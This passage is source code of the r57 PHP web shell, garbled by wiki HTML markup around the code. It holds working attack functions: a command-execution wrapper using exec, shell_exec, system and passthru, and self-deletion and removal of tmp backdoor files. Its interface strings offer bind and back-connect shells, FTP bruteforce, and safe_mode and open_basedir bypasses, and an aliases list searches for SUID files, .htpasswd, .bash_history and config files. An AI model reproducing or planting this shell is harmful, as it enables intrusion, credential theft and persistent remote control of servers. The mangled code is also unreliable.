632    <pre class="eval">
633{
634  @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
635}
636</pre>
637    <p>
638      if(isset($_GET{{mediawiki.external('\'tmp\'')}}))
639    </p>
640    <pre class="eval">
641{
642  @unlink("/tmp/bdpl");
643  @unlink("/tmp/back");
644  @unlink("/tmp/bd");
645  @unlink("/tmp/bd.c");
646  @unlink("/tmp/dp");
647  @unlink("/tmp/dpc");
648  @unlink("/tmp/dpc.c");
649}
650</pre>
651    <p>
652      if(isset($_GET{{mediawiki.external('\'phpini\'')}})) { echo
 > $head; function U_value($value)
653    </p>
654    <pre class="eval">
655{
656if ($value == <i>) return '</i>no value';
657if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
658if ($value === null) return 'NULL';
659if (@is_object($value)) $value = (array) $value;
660if (@is_array($value))
661{
662@ob_start();
663print_r($value);
664$value = @ob_get_contents();
665@ob_end_clean();
666}
667return U_wordwrap((string) $value);
668}
669</pre>
670    <p>
671      function U_wordwrap($str)
672    </p>
673    <pre class="eval">
674{
675$str = @wordwrap(@htmlspecialchars($str), 100, '&lt;wbr /&gt;', t
 >rue);
676return @preg_replace('!(&amp;[^;]*)&lt;wbr /&gt;([^;]*;)!', '$1$2
 >&lt;wbr /&gt;', $str);
677}
678</pre>
679    <p>
680      if (@function_exists('ini_get_all'))
681    </p>
682    <pre class="eval">
683{
684$r = <i>;</i>
685</pre>echo '', '';
686    <pre class="eval">
687foreach (@ini_get_all() as $key=&gt;$value)
688 {
689</pre>$r .= '';
690    <pre class="eval">
691 }
692echo $r;
693</pre>echo '
694    <table width="100%">
695      <tbody>
696        <tr>
697          <td bgcolor="#CCCCCC">
698            <div align="center">
699              <font color="red" face="Verdana" size="-2"><b>Direc
 >tive</b></font>
700            </div>
701          </td>
702          <td bgcolor="#CCCCCC">
703            <div align="center">
704              <font color="red" face="Verdana" size="-2"><b>Local
 > Value</b></font>
705            </div>
706          </td>
707          <td bgcolor="#CCCCCC">
708            <div align="center">
709              <font color="red" face="Verdana" size="-2"><b>Maste
 >r Value</b></font>
710            </div>
711          </td>
712        </tr>
713        <tr>
714          <td>
715            '.ws(3).'<font face="Verdana" size="-2"><b>'.$key.'</
 >b></font>
716          </td>
717          <td>
718            <div align="center">
719              <font face="Verdana" size="-2"><b>'.U_value($value{
 >{mediawiki.external('\'local_value\'')}}).'</b></font>
720            </div>
721          </td>
722          <td>
723            <div align="center">
724              <font face="Verdana" size="-2"><b>'.U_value($value{
 >{mediawiki.external('\'global_value\'')}}).'</b></font>
725            </div>
726          </td>
727        </tr>
728      </tbody>
729    </table>';
730    <pre class="eval">
731}
732</pre>echo "<br>
733    <div align="center">
734      <font face="Verdana" size="-2"><b>[ &lt;a href=".$_SERVER{{
 >mediawiki.external('\'PHP_SELF\'')}}."&gt;BACK&lt;/a&gt; ]</b></f
 >ont>
735    </div>";
736    <p>
737      die(); } if(isset($_GET{{mediawiki.external('\'cpu\'')}}))
738    </p>
739    <pre class="eval">
740{
741  echo $head;
742</pre>echo '
743    <table width="100%">
744      <tbody>
745        <tr>
746          <td bgcolor="#CCCCCC">
747            <div align="center">
748              <font color="red" face="Verdana" size="-2"><b>CPU</
 >b></font>
749            </div>
750          </td>
751        </tr>
752      </tbody>
753    </table>';
754    <pre class="eval">
755  $cpuf = @file("cpuinfo");
756  if($cpuf)
757   {
758     $c = @sizeof($cpuf);
759     for($i=0;$i&lt;$c;$i++)
760       {
761         $info = @explode(":",$cpuf[$i]);
762         if($info[1]==""){ $info[1]="---"; }
763</pre>$r .= '';
764    <pre class="eval">
765       }
766     echo $r;
767   }
768  else
769   {
770</pre>echo '';
771    <pre class="eval">
772   }
773</pre>echo '
774    <table width="100%">
775      <tbody>
776        <tr>
777          <td>
778            '.ws(3).'<font face="Verdana" size="-2"><b>'.trim($in
 >fo{{mediawiki.external(0)}}).'</b></font>
779          </td>
780          <td>
781            <div align="center">
782              <font face="Verdana" size="-2"><b>'.trim($info{{med
 >iawiki.external(1)}}).'</b></font>
783            </div>
784          </td>
785        </tr>
786        <tr>
787          <td>
788            '.ws(3).'
789            <div align="center">
790              <font face="Verdana" size="-2"><b>---</b></font>
791            </div>
792          </td>
793        </tr>
794      </tbody>
795    </table>'; echo "<br>
796    <div align="center">
797      <font face="Verdana" size="-2"><b>[ &lt;a href=".$_SERVER{{
 >mediawiki.external('\'PHP_SELF\'')}}."&gt;BACK&lt;/a&gt; ]</b></f
 >ont>
798    </div>";
799    <pre class="eval">
800  die();
801}
802</pre>
803    <p>
804      if(isset($_GET{{mediawiki.external('\'mem\'')}}))
805    </p>
806    <pre class="eval">
807{
808  echo $head;
809</pre>echo '
810    <table width="100%">
811      <tbody>
812        <tr>
813          <td bgcolor="#CCCCCC">
814            <div align="center">
815              <font color="red" face="Verdana" size="-2"><b>MEMOR
 >Y</b></font>
816            </div>
817          </td>
818        </tr>
819      </tbody>
820    </table>';
821    <pre class="eval">
822  $memf = @file("meminfo");
823  if($memf)
824   {
825     $c = sizeof($memf);
826     for($i=0;$i&lt;$c;$i++)
827       {
828         $info = explode(":",$memf[$i]);
829         if($info[1]==""){ $info[1]="---"; }
830</pre>$r .= '';
831    <pre class="eval">
832       }
833     echo $r;
834   }
835  else
836   {
837</pre>echo '';
838    <pre class="eval">
839   }
840</pre>echo '
841    <table width="100%">
842      <tbody>
843        <tr>
844          <td>
845            '.ws(3).'<font face="Verdana" size="-2"><b>'.trim($in
 >fo{{mediawiki.external(0)}}).'</b></font>
846          </td>
847          <td>
848            <div align="center">
849              <font face="Verdana" size="-2"><b>'.trim($info{{med
 >iawiki.external(1)}}).'</b></font>
850            </div>
851          </td>
852        </tr>
853        <tr>
854          <td>
855            '.ws(3).'
856            <div align="center">
857              <font face="Verdana" size="-2"><b>---</b></font>
858            </div>
859          </td>
860        </tr>
861      </tbody>
862    </table>'; echo "<br>
863    <div align="center">
864      <font face="Verdana" size="-2"><b>[ &lt;a href=".$_SERVER{{
 >mediawiki.external('\'PHP_SELF\'')}}."&gt;BACK&lt;/a&gt; ]</b></f
 >ont>
865    </div>";
866    <pre class="eval">
867  die();
868}
869</pre>
870    <p>
871      $lang=array( 'ru_text1' =&gt;'???????????&nbsp;???????', 'r
 >u_text2' =&gt;'??????????&nbsp;??????&nbsp;??&nbsp;???????', 'ru_
 >text3' =&gt;'?????????&nbsp;???????', 'ru_text4' =&gt;'???????&nb
 >sp;??????????', 'ru_text5' =&gt;'????????&nbsp;??????&nbsp;??&nbs
 >p;??????', 'ru_text6' =&gt;'?????????&nbsp;????', 'ru_text7' =&gt
 >;'??????', 'ru_text8' =&gt;'????????&nbsp;?????', 'ru_butt1' =&gt
 >;'?????????', 'ru_butt2' =&gt;'?????????', 'ru_text9' =&gt;'?????
 >???&nbsp;?????&nbsp;?&nbsp;????????&nbsp;???&nbsp;? /bin/bash', '
 >ru_text10'=&gt;'???????&nbsp;????', 'ru_text11'=&gt;'??????&nbsp;
 >???&nbsp;???????', 'ru_butt3' =&gt;'???????', 'ru_text12'=&gt;'ba
 >ck-connect', 'ru_text13'=&gt;'IP-?????', 'ru_text14'=&gt;'????', 
 >'ru_butt4' =&gt;'?????????', 'ru_text15'=&gt;'????????&nbsp;?????
 >?&nbsp;?&nbsp;??????????&nbsp;???????', 'ru_text16'=&gt;'????????
 >????', 'ru_text17'=&gt;'?????????&nbsp;????', 'ru_text18'=&gt;'??
 >???????&nbsp;????', 'ru_text19'=&gt;'Exploits', 'ru_text20'=&gt;'
 >????????????', 'ru_text21'=&gt;'?????&nbsp;???', 'ru_text22'=&gt;
 >'datapipe', 'ru_text23'=&gt;'?????????&nbsp;????', 'ru_text24'=&g
 >t;'?????????&nbsp;????', 'ru_text25'=&gt;'?????????&nbsp;????', '
 >ru_text26'=&gt;'????????????', 'ru_butt5' =&gt;'?????????', 'ru_t
 >ext28'=&gt;'??????&nbsp;? safe_mode', 'ru_text29'=&gt;'??????&nbs
 >p;????????', 'ru_butt6' =&gt;'???????', 'ru_text30'=&gt;'????????
 >&nbsp;?????', 'ru_butt7' =&gt;'???????', 'ru_text31'=&gt;'????&nb
 >sp;??&nbsp;??????', 'ru_text32'=&gt;'?????????? PHP&nbsp;????', '
 >ru_text33'=&gt;'????????&nbsp;???????????&nbsp;??????&nbsp;??????
 >????? open_basedir&nbsp;?????&nbsp;??????? cURL', 'ru_butt8' =&gt
 >;'?????????', 'ru_text34'=&gt;'????????&nbsp;???????????&nbsp;???
 >???&nbsp;??????????? safe_mode&nbsp;?????&nbsp;??????? include', 
 >'ru_text35'=&gt;'????????&nbsp;???????????&nbsp;??????&nbsp;?????
 >?????? safe_mode&nbsp;?????&nbsp;????????&nbsp;?????&nbsp;? mysql
 >', 'ru_text36'=&gt;'???? .&nbsp;???????', 'ru_text37'=&gt;'?????'
 >, 'ru_text38'=&gt;'??????', 'ru_text39'=&gt;'????', 'ru_text40'=&
 >gt;'????&nbsp;???????&nbsp;????&nbsp;??????', 'ru_butt9' =&gt;'??
 >??', 'ru_text41'=&gt;'?????????&nbsp;?&nbsp;?????', 'ru_text42'=&
 >gt;'??????????????&nbsp;?????', 'ru_text43'=&gt;'?????????????&nb
 >sp;????', 'ru_butt10'=&gt;'?????????', 'ru_butt11'=&gt;'?????????
 >????', 'ru_text44'=&gt;'??????????????&nbsp;?????&nbsp;??????????
 >!&nbsp;??????&nbsp;??????&nbsp;???&nbsp;??????!', 'ru_text45'=&gt
 >;'????&nbsp;????????', 'ru_text46'=&gt;'???????? phpinfo()', 'ru_
 >text47'=&gt;'????????&nbsp;???????? php.ini', 'ru_text48'=&gt;'??
 >??????&nbsp;?????????&nbsp;??????', 'ru_text49'=&gt;'????????&nbs
 >p;???????&nbsp;?&nbsp;???????', 'ru_text50'=&gt;'??????????&nbsp;
 >?&nbsp;??????????', 'ru_text51'=&gt;'??????????&nbsp;?&nbsp;?????
 >?', 'ru_text52'=&gt;'?????&nbsp;???&nbsp;??????', 'ru_text53'=&gt
 >;'??????&nbsp;?&nbsp;?????', 'ru_text54'=&gt;'?????&nbsp;??????&n
 >bsp;?&nbsp;??????', 'ru_butt12'=&gt;'?????', 'ru_text55'=&gt;'???
 >???&nbsp;?&nbsp;??????', 'ru_text56'=&gt;'??????&nbsp;??&nbsp;???
 >????', 'ru_text57'=&gt;'???????/???????&nbsp;????/??????????', 'r
 >u_text58'=&gt;'???', 'ru_text59'=&gt;'????', 'ru_text60'=&gt;'???
 >???????', 'ru_butt13'=&gt;'???????/???????', 'ru_text61'=&gt;'???
 >?&nbsp;??????', 'ru_text62'=&gt;'??????????&nbsp;???????', 'ru_te
 >xt63'=&gt;'????&nbsp;??????', 'ru_text64'=&gt;'??????????&nbsp;??
 >?????', 'ru_text65'=&gt;'???????', 'ru_text66'=&gt;'???????', 'ru
 >_text67'=&gt;'Chown/Chgrp/Chmod', 'ru_text68'=&gt;'???????', 'ru_
 >text69'=&gt;'????????1', 'ru_text70'=&gt;'????????2', 'ru_text71'
 >=&gt;"??????&nbsp;????????&nbsp;???????:\r\n-&nbsp;??? CHOWN -&nb
 >sp;???&nbsp;??????&nbsp;????????????&nbsp;???&nbsp;??? UID (?????
 >?) \r\n-&nbsp;???&nbsp;??????? CHGRP -&nbsp;???&nbsp;??????&nbsp;
 >??? GID (??????) \r\n-&nbsp;???&nbsp;??????? CHMOD -&nbsp;?????&n
 >bsp;?????&nbsp;?&nbsp;????????????&nbsp;????????????? (???????? 0
 >777)", 'ru_text72'=&gt;'?????&nbsp;???&nbsp;??????', 'ru_text73'=
 >&gt;'??????&nbsp;?&nbsp;?????', 'ru_text74'=&gt;'??????&nbsp;?&nb
 >sp;??????', 'ru_text75'=&gt;'*&nbsp;?????&nbsp;????????????&nbsp;
 >??????????&nbsp;?????????', 'ru_text76'=&gt;'?????&nbsp;??????&nb
 >sp;?&nbsp;??????&nbsp;?&nbsp;???????&nbsp;??????? find', 'ru_text
 >80'=&gt;'???', 'ru_text81'=&gt;'????', 'ru_text82'=&gt;'????&nbsp
 >;??????', 'ru_text83'=&gt;'?????????? SQL&nbsp;???????', 'ru_text
 >84'=&gt;'SQL&nbsp;??????', 'ru_text85'=&gt;'????????&nbsp;???????
 >????&nbsp;??????&nbsp;??????????? safe_mode&nbsp;?????&nbsp;?????
 >?????&nbsp;??????&nbsp;? MSSQL&nbsp;???????', 'ru_text86'=&gt;'??
 >????????&nbsp;?????&nbsp;?&nbsp;???????', 'ru_butt14'=&gt;'??????
 >?', 'ru_text87'=&gt;'??????????&nbsp;??????&nbsp;?&nbsp;?????????
 >? ftp-???????', 'ru_text88'=&gt;'FTP-??????:????', 'ru_text89'=&g
 >t;'????&nbsp;?? ftp&nbsp;???????', 'ru_text90'=&gt;'?????&nbsp;??
 >??????', 'ru_text91'=&gt;'????????????&nbsp;?', 'ru_text92'=&gt;'
 >???&nbsp;?????????', 'ru_text93'=&gt;'FTP', 'ru_text94'=&gt;'FTP-
 >????????', 'ru_text95'=&gt;'??????&nbsp;?????????????', 'ru_text9
 >6'=&gt;'??&nbsp;???????&nbsp;????????&nbsp;??????&nbsp;??????????
 >???', 'ru_text97'=&gt;'?????????&nbsp;??????????: ', 'ru_text98'=
 >&gt;'???????&nbsp;???????????: ', 'ru_text99'=&gt;'*&nbsp;?&nbsp;
 >????????&nbsp;??????&nbsp;?&nbsp;??????&nbsp;????????????&nbsp;??
 >?&nbsp;????????????&nbsp;?? /etc/passwd', 'ru_text100'=&gt;'?????
 >???&nbsp;??????&nbsp;??&nbsp;?????????&nbsp;???&nbsp;??????', 'ru
 >_text101'=&gt;'????????????&nbsp;?????&nbsp;???????????? (user -&
 >gt; resu)&nbsp;???&nbsp;????????????&nbsp;?&nbsp;????????&nbsp;??
 >????', 'ru_text102'=&gt;'?????', 'ru_text103'=&gt;'????????&nbsp;
 >??????', 'ru_text104'=&gt;'????????&nbsp;?????&nbsp;??&nbsp;?????
 >???&nbsp;????', 'ru_text105'=&gt;'????', 'ru_text106'=&gt;'??', '
 >ru_text107'=&gt;'????', 'ru_butt15'=&gt;'?????????', 'ru_text108'
 >=&gt;'?????&nbsp;??????', 'ru_text109'=&gt;'????????', 'ru_text11
 >0'=&gt;'??????????', 'ru_text111'=&gt;'SQL-??????&nbsp;:&nbsp;???
 >?', 'ru_text112'=&gt;'????????&nbsp;???????????&nbsp;??????&nbsp;
 >??????????? safe_mode&nbsp;?????&nbsp;?????????????&nbsp;??????? 
 >mb_send_mail', 'ru_text113'=&gt;'????????&nbsp;???????????&nbsp;?
 >?????&nbsp;??????????? safe_mode,&nbsp;????????&nbsp;????????&nbs
 >p;??????????&nbsp;?&nbsp;?????????????? imap_list', 'ru_text114'=
 >&gt;'????????&nbsp;???????????&nbsp;??????&nbsp;??????????? safe_
 >mode,&nbsp;????????&nbsp;???????????&nbsp;?????&nbsp;?&nbsp;?????
 >????????? imap_body', /* ----------------------------------------
 >----------------------- */ 'eng_text1' =&gt;'Executed command', '
 >eng_text2' =&gt;'Execute command on server', 'eng_text3' =&gt;'Ru
 >n command', 'eng_text4' =&gt;'Work directory', 'eng_text5' =&gt;'
 >Upload files on server', 'eng_text6' =&gt;'Local file', 'eng_text
 >7' =&gt;'Aliases', 'eng_text8' =&gt;'Select alias', 'eng_butt1' =
 >&gt;'Execute', 'eng_butt2' =&gt;'Upload', 'eng_text9' =&gt;'Bind 
 >port to /bin/bash', 'eng_text10'=&gt;'Port', 'eng_text11'=&gt;'Pa
 >ssword for access', 'eng_butt3' =&gt;'Bind', 'eng_text12'=&gt;'ba
 >ck-connect', 'eng_text13'=&gt;'IP', 'eng_text14'=&gt;'Port', 'eng
 >_butt4' =&gt;'Connect', 'eng_text15'=&gt;'Upload files from remot
 >e server', 'eng_text16'=&gt;'With', 'eng_text17'=&gt;'Remote file
 >', 'eng_text18'=&gt;'Local file', 'eng_text19'=&gt;'Exploits', 'e
 >ng_text20'=&gt;'Use', 'eng_text21'=&gt;'&nbsp;New name', 'eng_tex
 >t22'=&gt;'datapipe', 'eng_text23'=&gt;'Local port', 'eng_text24'=
 >&gt;'Remote host', 'eng_text25'=&gt;'Remote port', 'eng_text26'=&
 >gt;'Use', 'eng_butt5' =&gt;'Run', 'eng_text28'=&gt;'Work in safe_
 >mode', 'eng_text29'=&gt;'ACCESS DENIED', 'eng_butt6' =&gt;'Change
 >', 'eng_text30'=&gt;'Cat file', 'eng_butt7' =&gt;'Show', 'eng_tex
 >t31'=&gt;'File not found', 'eng_text32'=&gt;'Eval PHP code', 'eng
 >_text33'=&gt;'Test bypass open_basedir with cURL functions', 'eng
 >_butt8' =&gt;'Test', 'eng_text34'=&gt;'Test bypass safe_mode with
 > include function', 'eng_text35'=&gt;'Test bypass safe_mode with 
 >load file in mysql', 'eng_text36'=&gt;'Database . Table', 'eng_te
 >xt37'=&gt;'Login', 'eng_text38'=&gt;'Password', 'eng_text39'=&gt;
 >'Database', 'eng_text40'=&gt;'Dump database table', 'eng_butt9' =
 >&gt;'Dump', 'eng_text41'=&gt;'Save dump in file', 'eng_text42'=&g
 >t;'Edit files', 'eng_text43'=&gt;'File for edit', 'eng_butt10'=&g
 >t;'Save', 'eng_text44'=&gt;'Can\'t edit file! Only read access!',
 > 'eng_text45'=&gt;'File saved', 'eng_text46'=&gt;'Show phpinfo()'
 >, 'eng_text47'=&gt;'Show variables from php.ini', 'eng_text48'=&g
 >t;'Delete temp files', 'eng_butt11'=&gt;'Edit file', 'eng_text49'
 >=&gt;'Delete script from server', 'eng_text50'=&gt;'View cpu info
 >', 'eng_text51'=&gt;'View memory info', 'eng_text52'=&gt;'Find te
 >xt', 'eng_text53'=&gt;'In dirs', 'eng_text54'=&gt;'Find text in f
 >iles', 'eng_butt12'=&gt;'Find', 'eng_text55'=&gt;'Only in files',
 > 'eng_text56'=&gt;'Nothing&nbsp;:(', 'eng_text57'=&gt;'Create/Del
 >ete File/Dir', 'eng_text58'=&gt;'name', 'eng_text59'=&gt;'file', 
 >'eng_text60'=&gt;'dir', 'eng_butt13'=&gt;'Create/Delete', 'eng_te
 >xt61'=&gt;'File created', 'eng_text62'=&gt;'Dir created', 'eng_te
 >xt63'=&gt;'File deleted', 'eng_text64'=&gt;'Dir deleted', 'eng_te
 >xt65'=&gt;'Create', 'eng_text66'=&gt;'Delete', 'eng_text67'=&gt;'
 >Chown/Chgrp/Chmod', 'eng_text68'=&gt;'Command', 'eng_text69'=&gt;
 >'param1', 'eng_text70'=&gt;'param2', 'eng_text71'=&gt;"Second com
 >mands param is:\r\n- for CHOWN - name of new owner or UID\r\n- fo
 >r CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'eng
 >_text72'=&gt;'Text for find', 'eng_text73'=&gt;'Find in folder', 
 >'eng_text74'=&gt;'Find in files', 'eng_text75'=&gt;'* you can use
 > regexp', 'eng_text76'=&gt;'Search text in files via find', 'eng_
 >text80'=&gt;'Type', 'eng_text81'=&gt;'Net', 'eng_text82'=&gt;'Dat
 >abases', 'eng_text83'=&gt;'Run SQL query', 'eng_text84'=&gt;'SQL 
 >query', 'eng_text85'=&gt;'Test bypass safe_mode with commands exe
 >cute via MSSQL server', 'eng_text86'=&gt;'Download files from ser
 >ver', 'eng_butt14'=&gt;'Download', 'eng_text87'=&gt;'Download fil
 >es from remote ftp-server', 'eng_text88'=&gt;'FTP-server:port', '
 >eng_text89'=&gt;'File on ftp', 'eng_text90'=&gt;'Transfer mode', 
 >'eng_text91'=&gt;'Archivation', 'eng_text92'=&gt;'without archiva
 >tion', 'eng_text93'=&gt;'FTP', 'eng_text94'=&gt;'FTP-bruteforce',
 > 'eng_text95'=&gt;'Users list', 'eng_text96'=&gt;'Can\'t get user
 >s list', 'eng_text97'=&gt;'checked: ', 'eng_text98'=&gt;'success:
 > ', 'eng_text99'=&gt;'* use username from /etc/passwd for ftp log
 >in and password', 'eng_text100'=&gt;'Send file to remote ftp serv
 >er', 'eng_text101'=&gt;'Use reverse (user -&gt; resu) login for p
 >assword', 'eng_text102'=&gt;'Mail', 'eng_text103'=&gt;'Send email
 >', 'eng_text104'=&gt;'Send file to email', 'eng_text105'=&gt;'To'
 >, 'eng_text106'=&gt;'From', 'eng_text107'=&gt;'Subj', 'eng_butt15
 >'=&gt;'Send', 'eng_text108'=&gt;'Mail', 'eng_text109'=&gt;'Hide',
 > 'eng_text110'=&gt;'Show', 'eng_text111'=&gt;'SQL-Server&nbsp;: P
 >ort', 'eng_text112'=&gt;'Test bypass safe_mode with function mb_s
 >end_mail', 'eng_text113'=&gt;'Test bypass safe_mode, view dir lis
 >t via imap_list', 'eng_text114'=&gt;'Test bypass safe_mode, view 
 >file contest via imap_body', ); /* ??????&nbsp;?????? ?????????&n
 >bsp;????????&nbsp;?????????????&nbsp;??????&nbsp;?????&nbsp;?&nbs
 >p;???-??&nbsp;??????. (&nbsp;???????&nbsp;?????????&nbsp;????&nbs
 >p;?????????&nbsp;???? ) ??&nbsp;??????&nbsp;????&nbsp;?????????&n
 >bsp;???&nbsp;????????&nbsp;???????.
872    </p>
873    <ul>
874      <li>/
875      </li>
876    </ul>
877    <p>
878      $aliases=array( 'find suid files'=&gt;'find / -type f -perm
 > -04000 -ls', 'find suid files in current dir'=&gt;'find . -type 
 >f -perm -04000 -ls', 'find sgid files'=&gt;'find / -type f -perm 
 >-02000 -ls', 'find sgid files in current dir'=&gt;'find . -type f
 > -perm -02000 -ls', 'find config.inc.php files'=&gt;'find / -type
 > f -name config.inc.php', 'find config.inc.php files in current d
 >ir'=&gt;'find . -type f -name config.inc.php', 'find config* file
 >s'=&gt;'find / -type f -name "config*"', 'find config* files in c
 >urrent dir'=&gt;'find . -type f -name "config*"', 'find all writa
 >ble files'=&gt;'find / -type f -perm -2 -ls', 'find all writable 
 >files in current dir'=&gt;'find . -type f -perm -2 -ls', 'find al
 >l writable directories'=&gt;'find / -type d -perm -2 -ls', 'find 
 >all writable directories in current dir'=&gt;'find . -type d -per
 >m -2 -ls', 'find all writable directories and files'=&gt;'find / 
 >-perm -2 -ls', 'find all writable directories and files in curren
 >t dir'=&gt;'find . -perm -2 -ls', 'find all service.pwd files'=&g
 >t;'find / -type f -name service.pwd', 'find service.pwd files in 
 >current dir'=&gt;'find . -type f -name service.pwd', 'find all .h
 >tpasswd files'=&gt;'find / -type f -name .htpasswd', 'find .htpas
 >swd files in current dir'=&gt;'find . -type f -name .htpasswd', '
 >find all .bash_history files'=&gt;'find / -type f -name .bash_his
 >tory', 'find .bash_history files in current dir'=&gt;'find . -typ
 >e f -name .bash_history', 'find all .mysql_history files'=&gt;'fi
 >nd / -type f -name .mysql_history', 'find .mysql_history files in
 > current dir'=&gt;'find . -type f -name .mysql_history', 'find al
 >l .fetchmailrc files'=&gt;'find / -type f -name .fetchmailrc', 'f
 >ind .fetchmailrc files in current dir'=&gt;'find . -type f -name 
 >.fetchmailrc', 'list file attributes on a Linux second extended f
 >ile system'=&gt;'lsattr -va', 'show opened ports'=&gt;'netstat -a
 >n | grep -i listen', '-------------------------------------------
 >---------------------------------------------------------'=&gt;'l
 >s -la' );
879    </p>$table_up1 = "&lt;tr&gt;&lt;td bgcolor=#cccccc&gt;
880    <div align="center">
881      <font face="Verdana" size="-2"><b>:: "; $table_up2 = "&nbsp
 >;::</b></font>
882    </div>&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;"; $table_up3
 > = ""; $arrow = " <font color="gray" face="Wingdings">?</font>"; 
 >$lb = "<font color="black">[</font>"; $rb = "<font color="black">
 >]</font>"; $font = "<font face="Verdana" size="-2">"; $ts = "</fo
 >nt>
883    <table bgcolor="#000000" cellpadding="0" cellspacing="0" widt
 >h="100%">
884      <tbody>
885        <tr>
886          <td bgcolor="#CCCCCC">
887            "; $table_end1 = "
888          </td>
889        </tr>
890      </tbody>
891    </table><font face="Verdana" size="-2">"; $te = "";</font>
892    <p>
893      <font face="Verdana" size="-2">$fs = "&lt;form name=form me
 >thod=POST&gt;"; $fe = "&lt;/form&gt;";</font>
894    </p>
895    <p>
896      <font face="Verdana" size="-2">if(isset($_GET{{mediawiki.ex
 >ternal('\'users\'')}}))</font>
897    </p>
898    <pre class="eval">
899<font face="Verdana" size="-2">{
900</font>
901</pre><font face="Verdana" size="-2">if(!$users=get_users()) { ec
 >ho "</font>
902    <center>
903      <font face="Verdana" size="-2"><font color="red" face="Verd
 >ana" size="-2">".$lang{{mediawiki.external('$language.\'_text96\'
 >')}}."</font></font>
904    </center><font face="Verdana" size="-2">"; }</font>
905    <pre class="eval">
906<font face="Verdana" size="-2">else
907 {
908</font>
909</pre><font face="Verdana" size="-2">echo '</font>
910    <center>
911      <font face="Verdana" size="-2">';</font>
912      <pre class="eval">
913<font face="Verdana" size="-2"> foreach($users as $user) { echo $
 >user."<br>"; }
914</font>
915</pre><font face="Verdana" size="-2">echo '</font>
916    </center><font face="Verdana" size="-2">';</font>
917    <pre class="eval">
918<font face="Verdana" size="-2"> }
919</font>
920</pre><font face="Verdana" size="-2">echo "<br></font>
921    <div align="center">
922      <font face="Verdana" size="-2"><font face="Verdana" size="-
 >2"><b>[ &lt;a href=".$_SERVER{{mediawiki.external('\'PHP_SELF\'')
 >}}."&gt;BACK&lt;/a&gt; ]</b></font></font>
923    </div><font face="Verdana" size="-2">"; die();</font>
924    <pre class="eval">
925<font face="Verdana" size="-2">}
926</font>
927</pre>
928    <p>
929      <font face="Verdana" size="-2">if (!empty($_POST{{mediawiki
 >.external('\'dir\'')}})) { @chdir($_POST{{mediawiki.external('\'d
 >ir\'')}}); } $dir = @getcwd(); $windows = 0; $unix = 0; if(strlen
 >($dir)&gt;1 &amp;&amp; $dir{{mediawiki.external(1)}}==":") $windo
 >ws=1; else $unix=1; if(empty($dir))</font>
930    </p>
931    <pre class="eval">
932<font face="Verdana" size="-2">{
933$os = getenv('OS');
934if(empty($os)){ $os = php_uname(); }
935if(empty($os)){ $os ="-"; $unix=1; }
936else
937   {
938   if(@eregi("^win",$os)) { $windows = 1; }
939   else { $unix = 1; }
940   }
941}
942</font>
943</pre>
944    <p>
945      <font face="Verdana" size="-2">if(!empty($_POST{{mediawiki.
 >external('\'s_dir\'')}}) &amp;&amp;&nbsp;!empty($_POST{{mediawiki
 >.external('\'s_text\'')}}) &amp;&amp;&nbsp;!empty($_POST{{mediawi
 >ki.external('\'cmd\'')}}) &amp;&amp; $_POST{{mediawiki.external('
 >\'cmd\'')}} == "search_text")</font>
946    </p>
947    <pre class="eval">
948<font face="Verdana" size="-2"> {
949   echo $head;
950   if(!empty($_POST['s_mask']) &amp;&amp; !empty($_POST['m'])) { 
 >$sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s
 >_mask']); }
951   else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']
 >); }
952   $sr-&gt;SearchText(0,0);
953   $res = $sr-&gt;GetResultFiles();
954   $found = $sr-&gt;GetMatchesCount();
955   $titles = $sr-&gt;GetTitles();
956   $r = "";
957   if($found &gt; 0)
958   {
959</font>
960</pre><font face="Verdana" size="-2">$r .= ""; foreach($res as $f
 >ile=&gt;$v) { $r .= ""; $r .= ""; foreach($v as $a=&gt;$b) { $r .
 >= ""; $r .= ""; $r .= ""; $r .= "\n"; } } $r .= "</font>
961    <table width="100%">
962      <tbody>
963        <tr>
964          <td colspan="2">
965            <font face="Verdana" size="-2"><b>".ws(3);</b></font>
966            <pre class="eval">
967<font face="Verdana" size="-2"><b>       $r .= ($windows)? str_re
 >place("/","\\",$file) : $file;
968       $r .= "</b></font>
969</pre>&lt;/ TD&gt;"; $r .= "
970          </td>
971        </tr>
972        <tr>
973          <td align="center">
974            <b><font face="Verdana" size="-2">".$a."</font></b>
975          </td>
976          <td>
977            <font face="Verdana" size="-2">".ws(2).$b."</font>
978          </td>
979        </tr>
980      </tbody>
981    </table><font face="Verdana" size="-2">";</font>
982    <pre class="eval">
983<font face="Verdana" size="-2">   echo $r;
984   }
985   else
986   {
987</font>
988</pre><font face="Verdana" size="-2">echo "</font>
989    <p align="center">
990      <font face="Verdana" size="-2"><b><font face="Verdana" size
 >="-2">".$lang{{mediawiki.external('$language.\'_text56\'')}}."&lt
 >;/B&gt;</font>&lt;/P&gt;"; } echo "<br></b></font>
991    </p>
992    <div align="center">
993      <font face="Verdana" size="-2"><b><font face="Verdana" size
 >="-2">&lt;b&gt;[ &lt;a href=".$_SERVER{{mediawiki.external('\'PHP
 >_SELF\'')}}."&gt;BACK&lt;/a&gt; ]&lt;/b&gt;</font></b></font>
994    </div><font face="Verdana" size="-2"><b>";</b></font>
995    <pre class="eval">
996<font face="Verdana" size="-2"><b> die();
997 }
998</b></font>
999</pre>
1000    <p>
1001      <font face="Verdana" size="-2"><b>if(strpos(ex("echo abcr57
 >"),"r57")!=3) { $safe_mode = 1; } $SERVER_SOFTWARE = getenv('SERV
 >ER_SOFTWARE'); if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-
 >"; } function ws($i) { return @str_repeat("&nbsp;",$i); } functio
 >n ex($cfe) {</b></font>
1002    </p>
1003    <pre class="eval">
1004<font face="Verdana" size="-2"><b>$res = <i>;</i>
1005if (!empty($cfe))
1006{
1007 if(function_exists('exec'))
1008  {
1009   @exec($cfe,$res);
1010   $res = join("\n",$res);
1011  }
1012 elseif(function_exists('shell_exec'))
1013  {
1014   $res = @shell_exec($cfe);
1015  }
1016 elseif(function_exists('system'))
1017  {
1018   @ob_start();
1019   @system($cfe);
1020   $res = @ob_get_contents();
1021   @ob_end_clean();
1022  }
1023 elseif(function_exists('passthru'))
1024  {
1025   @ob_start();
1026   @passthru($cfe);
1027   $res = @ob_get_contents();
1028   @ob_end_clean();
1029  }
1030 elseif(@is_resource($f = @popen($cfe,"r")))
